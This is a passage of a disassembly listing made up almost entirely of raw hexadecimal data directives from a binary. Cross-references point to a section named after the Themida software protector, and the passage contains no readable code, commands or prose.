		dd 24832C60h, 0DC3F9009h, 4D8C0084h, 58DB976h, 0E1FFD3DEh
		dd 0CE1080F9h, 3F00641Fh, 6CA867B1h, 9833CCh, 1737C0E0h
		dd 9E73751Ch, 0E4D45E26h, 0A1B8600h, 3FA28711h,	25A6FBA7h
		dd 7DF20024h, 0D9A6BB98h, 16CDA903h, 382D3929h,	0B08172CEh
		dd 0D728B799h, 8990414Eh, 1F046203h, 0E30EB28Fh, 99AC091h
		dd 6B10E8h, 86E940D2h, 4FD5C7Bh, 0FD31CD2Ch, 37C7B800h
		dd 0B514D7Ah, 468593AFh, 43C91480h, 14F22C0Eh, 0E7102A01h
		dd 703522F4h, 719BCC0h,	41B3DDD5h, 237320CBh, 4A00A3C2h
		dd 6681950Dh, 0BA0B6Dh,	33D2525Fh, 0E27BCBB8h, 0CA98DB64h
		dd 2480AA84h, 0A76A75h,	0C3A4E544h, 0AA2FD88Ch,	3DCC0D50h
		dd 7ADC703Eh, 8510C403h, 0B021A9h, 0DBF70540h, 38E28E9h
		dd 0A5E21200h, 0B02A844Dh, 8E024C33h, 49198A01h, 24BEDBF8h
		dd 610057FCh, 73993C35h, 0A60201h, 0F1656C1Fh, 6A4A07A7h
		dd 0FDAB1C3Ah, 14AC5848h, 1844B73h, 0D8B87243h,	3B315156h
		dd 80BED0h, 0EBB6B332h,	638941E5h, 0D36D1907h, 0F350023Ch
		dd 909C6B3Ah, 2CC25862h, 31280274h, 0B883B1DFh,	0DCDABCC1h
		dd 94305B61h, 928410CDh, 0FCB201C7h, 4C237040h,	1B82890h
		dd 17B97DDBh, 0D121D79Ah, 685D30h, 785A8553h, 27761C09h
		dd 48FFD830h, 0FC8AC5C8h, 0BF97381h, 3E37241Bh,	1F188A02h
		dd 91C4DCC0h, 176E1488h, 35C4B75h, 744A5BACh, 10AEF2CBh
		dd 2E580500h, 761BE83Fh, 1198007Ch, 200B4903h, 4B749EF4h
		dd 10912300h, 0D5470DC1h, 3D3900ECh, 29A979E8h,	0C912FACBh
		dd 740EC668h, 0D10F6011h, 0B8312AA3h, 2C760083h, 86DFA58Ah
		dd 2601B1F1h, 0E3D40C0Fh, 8FCF2D9h, 0C99E13C7h,	4B1D61h
		dd 0EDA369E2h, 4E281BCh, 98BA190Bh, 1E546Ch, 0CE824D7Dh
		dd 455066E2h, 0A400A99Ch, 74728AADh, 46F14Ah, 0A796434Dh
		dd 0B4FA5C5Fh, 23543D00h, 8412E2ABh, 0EB0400A1h, 85E174ECh
		dd 9B00E9D0h, 93B2317Fh, 5CAC57h, 0E3D81682h, 50E2D52Ah
		dd 0CE67BA00h, 0F56318A7h, 149033h, 0E414FFBCh,	0D2B05412h
		dd 51EFC303h, 0B87BB7BEh, 0D5FA43h, 2BF6AED1h, 956FA260h
		dd 8704250Ch, 0DF1097h,	640ECFC8h, 5ED58B9Ch, 2058h, 2D76BC56h
		dd 7D60143h, 0B950E598h, 9EA4706Ah, 0D0082D5h, 1483C448h
		dd 0E0E29DFh, 63745E4h,	102A1ABCh, 0ABBCA160h, 0FF486A07h
		dd 60A9D6D4h, 0BC81CE8h, 2B1BB778h, 0EDC72480h,	45F253E7h
		dd 0E06C2C64h, 41663C80h, 0A2CF24BDh, 99D88044h, 0A684BB1Fh
		dd 0A7C02B00h, 273B8FF6h, 9A300FE5h, 0EBC3CCEh,	0B8209DFCh
		dd 0D4D3C447h, 12798BF1h, 8164935Dh, 33C8415Eh,	47EC006Fh
		dd 0EFDDC83Bh, 0CC07DA1Eh, 0F83FC1A2h, 0E4B05E90h, 8C8F501Dh
		dd 1831FE40h, 107AF587h, 741834EDh, 0EEC8446Bh,	0D8DF0039h
		dd 83294F66h, 0E638373Ch, 6D1D8767h, 7B30F0EDh,	0EFB0A7F5h
		dd 966CC041h, 4F8770h, 0F195A514h, 0F9EC329Fh, 39B31D05h
		dd 5FC3BC70h, 7B0B82Ch,	835503FCh, 0B4282B9Dh, 205E7B81h
		dd 2C0E8F66h, 0C0AD03A3h, 0B9CA5CA2h, 0AF0D0037h, 27700608h
		dd 40003230h, 4FF2CE95h, 3E03F755h, 1D8454F0h, 0D7DB3F73h
		dd 0C9D77000h, 0E700C76Fh, 0B13B13E5h, 94378CEh, 0A85D77C4h
		dd 80852304h, 0F6685F82h, 56B74Ch, 0B1021569h, 0F21C0F5Eh
		dd 0D3D80205h, 0DA9E910Eh, 0F0A0A463h, 71EE847h, 0D4A4D61Dh
		dd 89C20800h, 7C00CA4h,	0E73C3D6Dh, 0D1C76066h,	4500E9D3h
		dd 5351A780h, 475FBCh, 754195DFh, 0FDD69AC0h, 0DE623C00h
		dd 0E99C1465h, 14D548CDh, 3E76D700h, 0F2A44B69h, 311E6413h
		dd 46B628C2h, 9E9F0064h, 0A7852682h, 90C0DB03h,	0F0CB245Fh
		dd 6ACC00EBh, 42B691FCh, 0BE002855h, 567C2C7Bh,	0EFF6761h
		dd 3159C96Eh, 0DB8D71C1h, 4E3181D6h, 2A0656BFh,	0D6C60FEh
		dd 0F29F00FFh, 3B1B0C0Eh, 430035A1h, 848D1208h,	0D6816F03h
		dd 0B2AC0128h, 301CED42h, 0E30F0BD5h, 207B3A0Dh, 0DB2BE79Ch
		dd 358D0E9Ah, 29A0CBB2h, 0F25749ACh, 0E998DD00h, 6B9137A3h
		dd 8C2503A8h, 5A4BCEB3h, 5243B780h, 2D4C6900h, 86CB078Fh
		dd 0DD4F6Fh, 2F80F3D8h,	5000D9B1h, 0E03D8D13h, 668209h
		dd 4F8EFD2Dh, 33473C0Fh, 0E6008190h, 8788632Eh,	7365360Dh
		dd 5FAC00A8h, 0D77319A5h, 282C95BEh, 0C05A87Ch,	0E40086B9h
		dd 9481E7CDh, 79560024h, 853FE9C5h, 5500A34h, 0D91FE1FFh
		dd 6C5E589Ah, 714B6700h, 98442D4h, 0E9063D80h, 0E22DF860h
		dd 0AE7E9303h, 0A741D507h, 6204BC80h, 12B900A2h, 0D6460B97h
		dd 20494D1h, 1CA99FA8h,	0DE52A787h, 847C276h, 703EE888h
		dd 2E19E700h, 400B9CAEh, 0C665004Dh, 44EF2DBFh,	0FD1E0FB4h
		dd 1640FBABh, 8EECBCBEh, 2288A037h, 1DB8060Eh, 0D09F0577h
		dd 236AAF00h, 874CE732h, 3A8B0061h, 6BA42883h, 0F702BDB0h
		dd 213CD298h, 49EC04Eh,	9A0500C6h, 0BA22474Ah, 7B00B436h
		dd 0DC1577F3h, 6C668Eh,	0F6598DA7h, 0A8ACC6D0h,	0A100B0FEh
		dd 983446C3h, 6EC2F0h, 8FAA645Eh, 5CCEF99Bh, 0A49C2E01h
		dd 7F305BC5h, 947C5480h, 5F2FC49Eh, 0DDB0C200h,	9099D181h
		dd 4F220140h, 7BB6E484h, 0C69AE478h, 0A848E500h, 0FCEEDAF7h
		dd 3EC900DDh
		dd 0C20EDBCAh, 98606B46h, 77072960h
		db 0C1h
byte_530055	db 0E9h, 80h, 70h	; DATA XREF: ___:off_4385ACo
					; ___:off_4385C4o
		dd 0D3F538Eh, 0E4E14D90h, 9B7CD849h, 0F81D2E1Eh, 11E7BD0Ch
		dd 0F6F4F045h, 66891D3Ch, 43569E93h, 501B4DC0h,	400751A6h
		dd 0A0FB9855h, 0A19015C0h, 23391D2Dh, 0F4E133C8h, 201470B1h
		dd 9802F908h, 0E4FB0C4Dh, 97508330h, 0D0DA490h,	80F9C160h
		dd 0E6FB06A0h, 0CF8F57ACh, 2C542321h, 70C9A200h, 985A5479h
		dd 0B67ADF01h, 84CF1D66h, 572EB080h, 0FF78E5C4h, 4B4CBD12h
		dd 49818000h, 7FF46419h, 0B72700A9h, 683E90C0h,	100CDB01h
		dd 998E91BBh, 0E277F4CFh, 0F7D30E19h, 9403BE5Fh, 213893ABh
		dd 47B98B1Bh, 0CB80556Fh, 69451F8Bh, 209B5630h,	0E52332h
		dd 3390E43Ah, 30775E0Fh, 8EA87A07h, 85D0B328h, 391B5204h
		dd 0CC80494Dh, 6AACD944h, 4B0A422Eh, 0B4AE1AE3h, 0C6744C80h
		dd 0F8EA3Ah, 989365F2h,	0A80251Ch, 948B0306h, 2A99CBB1h
		dd 79888B3h, 26955922h,	46F65089h, 0D4002511h, 7998FB76h
		dd 369B2C3Ch, 513995B0h, 9F280C3Dh, 0F5BC5740h,	0FD8581C0h
		dd 1BC2DEEh, 0D81B536Eh, 0ECFE48B8h, 0AD005D08h, 0C6036428h
		dd 18CC376Bh, 40ACFB7Dh, 99007A23h, 9AA94285h, 2AC4B5h
		dd 0FC6E7121h, 54C887CAh, 0AB92881Fh, 1A91EB80h, 0F90E8Eh
		dd 36684844h, 3EAD82E6h, 929808DFh, 216D20h, 75658644h
		dd 44653D7h, 0EB00D4F4h, 0AB54E2CAh, 7C305FECh,	0F15A3A45h
		dd 10A09283h, 96A09FDDh, 0EB28B46Dh, 2E033876h,	53F1918h
		dd 0F21100FEh, 0E852C2BDh, 0E91931BEh, 0CC08C510h, 953F2180h
		dd 19A4EFC2h, 83E1F5E4h, 0FA2CE578h, 0E4907C55h, 91CD41D7h
		dd 338091E0h, 0E667EE44h, 2B18448Ch, 0A644FB00h, 587EC14Ch
		dd 0E9CD0C25h, 8C41ECD6h, 8723FCE7h, 8B689262h,	526700FEh
		dd 0F600610Ch, 0A694F778h, 0A7F9C9h, 0E22E306Dh, 4DF376A4h
		dd 0B8A5BA01h, 0F3B085Dh, 6D2CD4h, 4C458D70h, 30C5DD64h
		dd 0FFDBCD12h, 0A1468C00h, 1C6E721Ah, 32A47D9h,	64C387E3h
		dd 56EEACF8h, 70CF9C0Fh, 44C740F9h, 6A018Fh, 230ED022h
		dd 35A228D9h, 0C3003978h, 1EE870F2h, 0E0B2687h,	0CF370D97h
		dd 73DB4E81h, 0CA8260E4h, 9F0728DFh, 0E3C7044Ch, 5CAD81D0h
		dd 0A6AC3C56h, 980EB600h, 0F8D44E50h, 730CE2EAh, 60E4905Eh
		dd 2FAD3D79h, 60759100h, 0C8DC9758h, 0F5959B09h, 7E6800E8h
		dd 3E34BCB3h, 480CCDA8h, 7F48B9EAh, 0C02761F9h,	0E7000624h
		dd 32B7736Bh, 0FCC937Dh, 29741AA9h, 61E8BC96h, 0BF9EE150h
		dd 0F831D98Ch, 6703F908h, 0DE869372h, 73A2D030h, 31271BE3h
		dd 85F021FCh, 2F188451h, 5C6A1895h, 29E158FBh, 6E74F000h
		dd 76C289D7h, 96FC3818h, 657CF1C0h, 0C07E1977h,	0B1C432C2h
		dd 7115070Fh, 7812C1B2h, 0DBEC0DE8h, 86EA00C8h,	0F4E1F084h
		dd 9419CD0Ch, 3410BE33h, 5583045Fh, 1000CDD8h, 941706B8h
		dd 99E915h, 6BE0DA1Bh, 9960DA2h, 2CAC5503h, 0A329BEDEh
		dd 4D291051h, 6C00751Fh, 6D11424Eh, 269D33h, 0EECF033Ah
		dd 9E25198Eh, 523E530Eh, 0CDF1A0C1h, 169535DAh,	1FC3F73Fh
		dd 3D4D0041h, 11A90C6h,	0F065D100h, 5C5E8557h, 13460073h
		dd 0EDD045AFh, 36013122h, 58BD80EBh, 32C471CCh,	4D610048h
		dd 9430963Fh, 0ED00E060h, 405298AAh, 9A4BEE2h, 0B28470A3h
		dd 0B78CA700h, 290F2DACh, 0E3C99A9Eh, 985ECF6Eh, 0B8DA7Fh
		dd 0F18A988Ch, 7BAB1B05h, 0C1707A01h, 88BEC803h, 282F22DCh
		dd 0A08294h, 0E74D35CDh, 25103BC5h, 6896D030h, 0E09FE6Dh
		dd 0E0A15F9Ch, 0BAD76083h, 8656308Fh, 0A300A787h, 0EAEDBEE6h
		dd 0D2FB85h, 9E68CCB1h,	0AEDCC502h, 806E5B3Eh, 0E96D7FC9h
		dd 4FD16Ah, 1FB57B53h, 0DAA175Ch, 0B8F38F05h, 97C3A35Bh
		dd 7E30B040h, 21983922h, 7B7D71Fh, 81FA722Eh, 0DC966D23h
		dd 90EAAC8h, 41389DD9h,	0F0F3C18Ch, 7FCC0820h, 24AE007Eh
		dd 5792533Ah, 64001D0Dh, 0FAAC1AC7h, 0B7E51Eh, 5414B49Eh
		dd 0E1A99361h, 97193307h, 0E1CE9DA7h, 0B0A01AB8h, 2F1DF0h
		dd 7A8DF3C6h, 0FD9A8EF0h, 2901CCE6h, 66E80954h,	0FAD8AFA5h
		dd 8D631EC4h, 417A1C39h, 0E208A0F6h, 9D716025h,	8EEC6500h
		dd 9490860Fh, 0E4F11DDAh, 47434F81h, 0CB2D6FE0h, 4C70F7B9h
		dd 4269B31Eh, 66069800h, 0A9533Dh, 0A2E517A3h, 3FB5FB59h
		dd 3CAD7200h, 7912AE02h, 0E2332463h, 0C0041E80h, 561CFFAAh
		dd 3F3A4FC3h, 80E0B8ACh, 87A73B77h
		db 4Bh,	67h
word_530516	dw 1FB3h		; DATA XREF: Themida_:00557C8Eo
					; Themida_:loc_55B54Co
		dd 0C4860Ch, 0F090AFF4h, 163E0679h, 68B700B4h, 918D4247h
		dd 0D1781A32h, 7FC07821h, 75E413C1h, 0EB147C74h, 90FF7Eh
		dd 12722A78h, 103CF8Dh,	0A1BEA8F8h, 0F0FF3809h,	2800940Fh
		dd 0B9C5DBCCh, 0B05DD210h, 97D417AFh, 84D50E06h, 8ABCD6A0h
		dd 9890AC85h, 0E6F7A00h, 81E28E4Bh, 1BDD09F6h, 5E80C455h
		dd 34D6D191h, 0A3E826h,	305EDF80h, 98BF43DEh, 62F00E0h
		dd 1CB73267h, 93070508h, 0E779CDCFh, 98B39C80h,	90AD000Ah
		dd 19EDA096h, 0B1078E42h, 25375E84h, 4DFD3020h,	0E0D600BDh
		dd 92E154A8h, 0AB132288h, 3C40EF95h, 900ECDFCh,	0C07D48B0h
		dd 0CAA24h, 0DDB9C880h,	120956FAh, 0ADC4D7h, 0F194CBA4h
		dd 0CF477297h, 0CD80BF68h, 9AC35089h, 0E07AF618h, 201D159h
		dd 0D9AAAEE3h, 1B61878Eh, 60D520B2h, 0E2D03400h, 25E77029h
		dd 8B081F77h, 0F00943EAh, 13F84901h, 6B00ED10h,	0C0B7DE9Ah
		dd 741203h, 5C2B8433h, 0B98F78AFh, 49D46B00h, 0AD139A81h
		dd 0DFA707EAh, 537256DAh, 3E7FB065h, 0CA6A4413h, 0D2DC1504h
		dd 61FBB181h, 59C5C0h, 54D43260h, 0A041E463h, 51C02A00h
		dd 0E5AE080Dh, 8BD6248Eh, 5B1C8348h, 0AFD886B2h, 0F801182Bh
		dd 88A21604h, 1FE9634Fh, 0E7C2FD8h, 0A52C5FD5h,	0B21801BCh
		dd 80665D32h, 0D0308818h, 2479E559h, 28CE10FCh,	6EA50048h
		dd 0CFB3F78Ah, 0B9014F2Fh, 486DF3BCh, 34F45356h, 0D3A8000Ah
		dd 0E4CE4C04h, 0B400E71Bh, 63D5E2A9h, 238A3Ah, 3EFCAE5Fh
		dd 0D63D3572h, 2B0E4C7Eh, 0C0F63885h, 0CC6105E1h, 9E2F006Dh
		dd 401AC9ACh, 1800C6FDh, 511F3BAh, 0F5C8275h, 20D334CBh
		dd 0BEA7E14Fh, 235B20DFh, 530039C5h, 0FB91269Ah, 2B1C0Fh
		dd 4056BA0Bh, 28B90622h, 3700AF74h, 7F9EEF44h, 0C69C9Fh
		dd 34969DDDh, 0C70EFE45h, 0F651A400h, 0BE8C62BAh, 0D6FC00B4h
		dd 6F36FBB3h, 0AF0FA005h, 802C2F52h, 1C12A463h,	0F27600E5h
		dd 59BC89DBh, 2E01FA6Fh, 0A58C92D1h, 69EC42EFh,	869D002Bh
		dd 0FAC7D3B2h, 3A73C58Dh, 19E78800h, 0A765B030h, 0FF6B0C37h
		dd 0AE19841Ah, 0F7F59100h, 211150CAh, 0BE200054h, 1295D0C0h
		dd 90309926h, 8587CAB8h, 58FA00A1h, 958E8291h, 0BD00B06Dh
		dd 82822DEh, 7B3A9680h,	0D0DF0034h, 0E672B311h,	0F800CB4Ah
		dd 42D55483h, 0B68643h,	7F19D2C4h, 15B2FD48h, 0B71F701Ch
		dd 92279583h, 77C6B079h, 0F4280014h, 0FFEB9E0h,	0F5EC3B63h
		dd 9DFF6400h, 936F65Fh,	0DB023E18h, 0FAE60076h,	4F727E3Eh
		dd 9A0026DEh, 63179BB5h, 1391951h, 0D9E60B03h, 0CC799EC0h
		dd 0ECA0A15Ch, 951FC384h, 54C08081h, 0A09B1E33h, 47790119h
		dd 4A4F3B0Fh, 2DF8802Ch, 0FFD391B6h, 56320054h,	0D0712162h
		dd 3C00C784h, 0E1921529h, 7978B3CAh, 99D4A0FDh,	605B00F3h
		dd 1487A2B6h, 23703F12h, 4125AE00h, 8BDAC7A5h, 0FA6600B0h
		dd 7C9BF136h, 220C6885h, 7886014Bh, 0A6400780h,	0E1112B7Bh
		dd 20B6568Eh, 6F5C4896h, 0FFAD0C7Bh, 486A0A4h, 0DB01B420h
		dd 0E09C8375h, 990087Eh, 0DD2DF91Bh, 0A6AAC138h, 0D50030BCh
		dd 0D8D9EA6Dh, 8076CBDh, 0D44D5C4Ah, 231FA210h,	19507B5h
		dd 434E22E2h, 841F2A4Bh, 690CA9ADh, 4319E1h, 0C2546DD6h
		dd 31771F65h, 9FC88561h, 0AE084C22h, 7E2454A8h,	49E96000h
		dd 0A1308B16h, 9D340308h, 6551B2EBh, 1FF1FD0h, 0D12B9C00h
		dd 0D458EEA0h, 98D500C8h, 14C731BFh, 1800CBF5h,	0C44E5079h
		dd 386D97Eh, 1B23CD97h,	0D38039BFh, 5000920Ch, 0BA60528Bh
		dd 7EA729h, 0CD704EB0h,	43EDA8FCh, 5B8EBC00h, 8260F72Eh
		dd 0D13B007Fh, 0D339361Bh, 7A006A33h, 0F38DE0B3h, 82C0A4h
		dd 7045DDFFh, 1CB253AEh, 0C6872200h, 0BF7A4DF4h, 4EBB0057h
		dd 0AC7954FBh, 5A242CDCh, 3F05C85Bh, 8040A53Dh,	0E7C08481h
		dd 61BE0629h, 8CE2241h,	0DF217D60h, 338C0BCh, 65E8395Fh
		dd 73E3AC75h, 0D24EC20Ah, 0FC00B483h, 5B6443E5h, 0E812F82Ah
		dd 1CA6F889h, 2A42B485h, 0E60D0EBCh, 9E1825Fh, 21AE8E84h
		dd 8014D177h, 600E4421h, 33EE95Fh, 1E578FDCh, 7DD8B726h
		dd 4D481AA6h, 2C3403FCh, 788D4470h, 565A00A0h, 5193B702h
		dd 0B319FE1h, 2C570841h, 3FCC2080h, 7A46E202h, 1C7FAE0Fh
		dd 2F566265h, 59FB862Dh, 20A0E4B8h, 39C0386Ah, 0F285A7FAh
		dd 1060A841h, 21847F60h, 9888079h, 786E0085h, 284D2D5Fh
		dd 0AA8711Dh, 0AE8FF780h, 2C26165h, 0B7290B02h,	9C80E2A6h
		dd 8C5D804Ch, 93E07160h, 19EE892h, 9BE50382h, 85D3C6B0h
		dd 0A206FB28h, 0D728C841h, 18A6D0CAh, 4F370CBDh, 0C026C1C0h
		dd 0E51D5AAEh, 76CD9600h, 0A0BCC448h, 1F34398h,	0A67E01BFh
		dd 0CC9AED95h, 0E00C759h, 17EBD73Bh, 16F8024Ah,	33CA2Fh
		dd 0A2610FA5h, 74006568h, 7EF160FAh, 0FA8DD05h,	1BB0FBF2h
		dd 0FE7D3EA0h, 0CD1EC0E5h, 6643D0F1h, 9FD6252Ah, 0C099EA23h
		dd 79E3B36h, 0B921A9B2h, 49B9020h, 80016231h, 5434B3CBh
		dd 1DC460D6h, 2AA300F3h, 36030CEAh, 0FC00FA70h,	7778D376h
		dd 0D8A993h, 90461C98h,	6E2083C3h, 7A26B300h, 0AD9D57FBh
		dd 0D5A00A4h, 0C9424165h, 960C193Ch, 922782Ch, 6121C0B0h
		dd 0FC0ECA8Ah, 934C7E00h, 5180FED0h, 254F00D1h,	5E6D1A7Ah
		dd 5803390Ch, 0A3E53208h, 1798E020h, 0CECB39BDh, 4FEC2782h
		dd 2740953Ah, 360F7547h, 3BF5D5DFh, 4E685038h, 8796FE0h
		dd 0FF054200h, 880C088Eh, 28DABEE5h, 210B60E0h,	8E81194Eh
		dd 85E4B701h, 46E929B5h, 0C51A7880h, 5838FFFEh,	88655F1Eh
		dd 40796E0Ch, 7B240082h, 0EAEA626h, 0FB7F4D6Bh,	64E66200h
		dd 1D4B77F9h, 8E110035h, 9B1CA9EEh, 0A40F0B96h,	40DC1776h
		dd 0B5836ABEh, 4E5D004Dh, 0A8CF88F5h, 2F1EA6B2h, 0EA00A528h
		dd 0C13AD3D6h, 95C5001Bh, 5553119Ch, 1E0131B9h,	0DB10F245h
		dd 0E9E83B25h, 0DA830071h, 0F0E1982Fh, 0EE12322Eh, 0AC0085A4h
		dd 77FA30FBh, 397DBDh, 978F3876h, 61E72868h, 7AF46701h
		dd 90E0995Fh, 79C421DDh, 28F83Fh, 0CB132C14h, 0B1E9319Eh
		dd 36EA7EE6h, 0D67D4907h, 284C8268h, 55C1307Ah,	0F73C3F50h
		dd 0CC3CA6E0h, 15080329h, 0E0CB3E01h, 1911BFh, 0F9D0AAD7h
		dd 6F22970Bh, 0E7007AB8h, 60A95237h, 3AC2FC10h,	0AA3CB51Ch
		dd 36A38301h, 0F84197D5h, 29E8A5FDh, 681CEC00h,	54D6F4DBh
		dd 0BC7100E0h, 12F635B0h, 0CF008E86h, 0E821D440h, 0C0BBFB9Ch
		dd 2BF6798h, 0D660AF2Fh, 3DFF0D11h, 0EF90778h, 17616A52h
		dd 6D7D131Ah, 0ED21900Eh, 0B530014Ch, 2AC0D45Dh, 451F0112h
		dd 0A53278E5h, 0F6A0DF25h, 0BA00213Bh, 48D856D0h, 0D6248Ah
		dd 1C255E7Ch, 0CF525337h, 2DD2F207h, 566712C1h,	5D6FF867h
		dd 0DC94B5C0h, 0F39D1h,	0D04B3E18h, 0D2B03F9Dh,	0CFEA7E00h
		dd 0B5678105h, 67B78B8h, 0BBEEEC37h, 0D21C70B6h, 738017BFh
		dd 0A53C9CC1h, 7087002Bh, 0BDC6281h, 880067B1h,	0FE39ADB0h
		dd 0F4614Ah, 0F9422085h, 0E331A150h, 0CCA8CB1Ch, 0D253C9C0h
		dd 193FBAh, 877C76D3h, 0EDECAD9Bh, 57A4780Eh, 5491C19Fh
		dd 0D083EBF6h, 0C3856803h, 755F9800h, 7CADA14Ch, 9530C4EEh
		dd 2ACCC37Eh, 6539200Eh, 5AF32037h, 0C04E6820h,	0A798C4C1h
		dd 0C66230D4h, 0C02B0981h, 6B4979h, 80F18E3Dh, 90D931E4h
		dd 0FAF40200h, 9F70C6B1h, 2B3D00C0h, 894EA58Ch,	0AE0114C4h
		dd 94731BD0h, 0E571ED59h
		dd 0D4DC25E1h, 81060166h, 0D2B1E5CDh, 3973E077h, 18C03DB8h
		dd 0B8E95205h, 8AD007A5h, 73667DB0h, 0D8B82193h, 75673BF4h
		dd 0CB7828h, 0B85B82C0h, 7ECD18F3h, 1D0F519Ah, 0C821C361h
		dd 19824FF7h, 0FF44249Fh, 0B917E483h, 0E498FDB7h, 31C9B069h
		dd 30308073h, 98DD92h, 0F96E541Dh, 4F9CC3B7h, 7A1E1990h
		dd 4300BAA3h, 78B2868Eh, 0BE3200B8h, 4F386016h,	3C01C836h
		dd 469192CCh, 5FF4C403h, 9E2BEh, 0D4E848D7h, 0D9B05043h
		dd 57F06700h, 0E6B565ABh, 0EEE87Dh, 0A942DE8Ch,	5A2315A7h
		dd 0EBFE6B0Eh, 21228C56h, 0AB7A3961h, 0CF904102h, 46C07E8Dh
		dd 0C5004F45h, 2B07B6BFh, 566952h, 0ADE38F3h, 96A5DFE1h
		dd 0AAE8D300h, 8CEDEE2Ch, 0F145047Eh, 8370E452h, 0F9F9889Ch
		dd 0ED80D04Ah, 602E58CFh, 0F2E3DB53h, 887004Bh,	38726962h
		dd 0E0005906h, 0F56D81C4h, 58AE3A47h, 53312E94h, 65E0118h
		dd 0EA0D6B0h, 0E94CE458h, 950B0EB1h, 6486D3h, 26C51FBh
		dd 0C0B2E8E7h, 0D21C2C21h, 9B0EF88Ch, 60F9F474h, 0E9827040h
		dd 0BACD007Eh, 114E038Eh, 0E80396B7h, 69943777h, 3DA3E0E3h
		dd 0CF78A1C7h, 53082018h, 0C629704Fh, 8701A93Ah, 0A111540Dh
		dd 0CC400F2Ah, 0B269CDh, 14590351h, 738AC25Fh, 0E3FBA400h
		dd 0B06AFD33h, 48631DEDh, 0AC99C0D2h, 0E12B9276h, 80602A3Fh
		dd 1CD0797Ah, 7638C2DBh, 573F00FEh, 0E8AFFD0Bh,	0A800BD1Ah
		dd 5BEA242h, 765B5C1h, 7F81D1E1h, 0BD67F0CBh, 0A003001h
		dd 913CAF99h, 0A15F9Fh,	0A26F87A9h, 0EC508810h,	193DEDE4h
		dd 0E3330723h, 27436C5Ch, 0C32000A1h, 4DC5282Ch, 0F4E5527Fh
		dd 4800D3F9h, 0C7A84ADEh, 9D3AABh, 36A27A70h, 9925518Fh
		dd 61EBB41Ch, 8052D60Fh, 0E7CDEE48h, 3F4200CBh,	0F8E912ADh
		dd 4E7D989Ch, 48D97530h, 3005D330h, 7078A7BAh, 0F4728F02h
		dd 8BDF1B07h, 91872384h, 12216B46h, 0F49A58h, 8BEE6C7h
		dd 19306E39h, 0C6CAD871h, 1A280095h, 0D8FD0790h, 0B648B76Bh
		dd 0FA260CE1h, 0EBD480D5h, 358D30B8h, 0E059390Ah, 29E4BE30h
		dd 0E4B18E03h, 35B253A6h, 0E97408h, 0AE9E30FAh,	0E61F05E7h
		dd 0F61510AFh, 3F940340h, 986BA059h, 83E1187h, 8674ED12h
		dd 0F9C07A02h, 538809Ch, 7976649h, 55FCA1A8h, 0B20ADB6h
		dd 0C09B884Ch, 0DF6B33Ch, 0AEBC490Ah, 0CF80F49Ah, 9DC3750Ah
		dd 5FC0E41h, 87C061CCh,	0CD1FA995h, 0A21BAB05h,	0F000430Eh
		dd 9F4D712Dh, 0FA863C02h, 0A8314E07h, 6674807Fh, 0D1001387h
		dd 3DBE7353h, 0EDDEB2D2h, 1CE5FBCCh, 7E9CA5h, 0F32A8F4h
		dd 59B00A07h, 7E6893Eh,	0B861FDA6h, 0A0F1A963h,	1FAAE477h
		dd 0AC0D1563h, 6C9A00D2h, 0ADCD43CFh, 79004AE0h, 3CE07836h
		dd 756909h, 8C7EF1CCh, 13930DAEh, 0FDB893Ch, 0E337579Ch
		dd 1CB58FDCh, 0B82A0E88h, 0FF6DB600h, 0A2C307F0h, 0AB96E107h
		dd 0ED80D1FCh, 0E4FDD3h, 741EAC8Ch, 91BF2327h, 1BA2FA03h
		dd 8B9348Bh, 90D6BB19h,	0E9D1DE0Ch, 97B50082h, 0FE3328FCh
		dd 4008CC6h, 0E876DF13h, 0F89840BCh, 1B3000B4h,	0FF62F979h
		dd 0E403EE25h, 5A3A410Dh, 0DD481808h, 9A5B5175h, 0B1513400h
		dd 74A5690Fh, 2FEC85h, 0E6B3407Fh, 565BB20Eh, 917ABF00h
		dd 0C4A0CCF9h, 3F743B18h, 2CB158E0h, 0BAEA2886h, 0AB047D00h
		dd 79E4337h, 0E1DC0358h, 2C1DB00Eh, 935C1A0h, 429D4B1Dh
		dd 90075C92h, 0D907C2F2h, 206066h, 919D1EA4h, 0C4BB7AA1h
		dd 5F283Eh, 22B072F6h, 2ACD25Ah, 796734EDh, 0EAE0435Bh
		dd 0A20ED8D9h, 7DDA2C0Ah, 0E75AE641h, 3FF0C4CFh, 68B4488Dh
		dd 0C6672103h, 6800A2A0h, 363B5F29h, 0C117050Fh, 0ED546111h
		dd 78A4040h, 6A635D04h,	34E508h, 746B9F20h, 5CEFB5FEh
		dd 6FCF5600h, 0D87C962Fh, 0E7FA3140h, 0EC326B29h, 3B248B80h
		dd 0B7000946h, 0AECD5B2Dh, 78920159h, 48DB319Ah, 7E3BD8D1h
		dd 256D5Ch, 841EFD5h, 305046D0h, 1310FC05h, 981FEE90h
		dd 3482F658h, 40624E42h, 9DFFEE6h, 9D39C244h, 0E094200h
		dd 0C600A3EDh, 0F7C70710h, 0B2CBAFh, 0AAE7DF70h, 75310C7Dh
		dd 900A0E8h, 0CA1B2E24h, 9AEC2Fh, 63AEEAA5h, 12FEC227h
		dd 0F03DDA78h, 0FB69800Eh, 7B2F70F4h, 15E30093h, 67359E8Ah
		dd 19C0FF7Ah, 5CC0699Ch, 0A12A1ED4h, 0F19880BCh, 0B210AC7Ch
		dd 991C7B01h, 7215C0DAh, 3F21D6F0h, 0D1B1D9B9h,	0F888B628h
		dd 110065E6h, 0EC36E786h, 60CDDEh, 0F5C1715Ch, 14D6769Fh
		dd 3F163539h, 83EF3E7Ch, 0AFBDF88Bh, 0D4C900F9h, 734FC798h
		dd 4700E7F2h, 0E6295548h, 3CC7A36h, 0A106137Fh,	3100CB26h
		dd 60B7BD3Ah, 32211Ah, 9D33E107h, 2EF37EA7h, 0AF2F4500h
		dd 0F191ADB1h, 531E060Fh, 60CCCFA9h, 0C338B707h, 0FA400E41h
		dd 0C62EECA0h, 864D9E8h, 88DDCA00h, 0DB65BEEAh,	1067035Eh
		dd 4EB74ACDh, 0F1B82100h, 0A736130Eh, 244D0733h, 206BDA03h
		dd 0C535A31Ah, 0F098E98h, 8A4A38h, 0BE82C85Fh, 308EC9Ah
		dd 78A21A5Ah, 9989FA8Bh, 9F93E8E4h, 0B7245501h,	4F56210Eh
		dd 7920D4h, 39270AEEh, 0F8B818C1h, 768A451Fh, 74068841h
		dd 81C89F43h, 34890F07h, 8E407F26h, 931A3F33h, 0FAF8B600h
		dd 0E697875Ch, 7CDEF631h, 0ADF900D0h, 9A13328Bh, 3800BBA8h
		dd 9C198F77h, 38F3346Dh, 41837872h, 0B43F7982h,	70282799h
